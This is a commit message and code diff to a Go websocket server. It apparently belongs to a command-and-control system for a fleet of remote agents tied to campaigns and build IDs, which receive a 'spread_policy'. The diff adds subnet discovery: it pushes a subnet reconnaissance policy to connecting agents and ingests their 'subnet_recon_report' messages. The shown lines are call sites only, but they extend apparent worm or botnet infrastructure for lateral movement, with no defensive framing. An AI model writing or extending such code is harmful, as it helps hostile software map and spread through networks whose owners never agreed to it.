Add server subnet discovery store, API, and agent policy push.

server/internal/api/websocket.go

@@ -863,6 +863,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				})})
 				break
 			}
+			h.markSubnetDiscoveryAgentOnline(clientIP)
 
 			if agent.Campaign != "" && (isNewAgent || (priorErr == nil && prior.Campaign == "")) {
 				_ = h.db.LogCampaignEvent(agent.Campaign, agent.BuildID, db.CampaignEventAgentConnect, "ws_auth", clientIP, "")
@@ -969,6 +970,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 					spreadPolicy[k] = v
 				}
 			}
+			h.attachSubnetReconPolicy(resp, spreadPolicy, clientIP)
 			if len(spreadPolicy) > 0 {
 				resp["spread_policy"] = spreadPolicy
 			}
@@ -1704,6 +1706,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			}
 			h.handleAgentFleetTorrentGossip(agentID, msg.Payload)
 
+		case "subnet_recon_report":
+			if agentID == "" {
+				continue
+			}
+			h.ingestSubnetReconReport(agentID, msg.Payload)
+
 		case "command_result":
 			if agentID == "" {
 				continue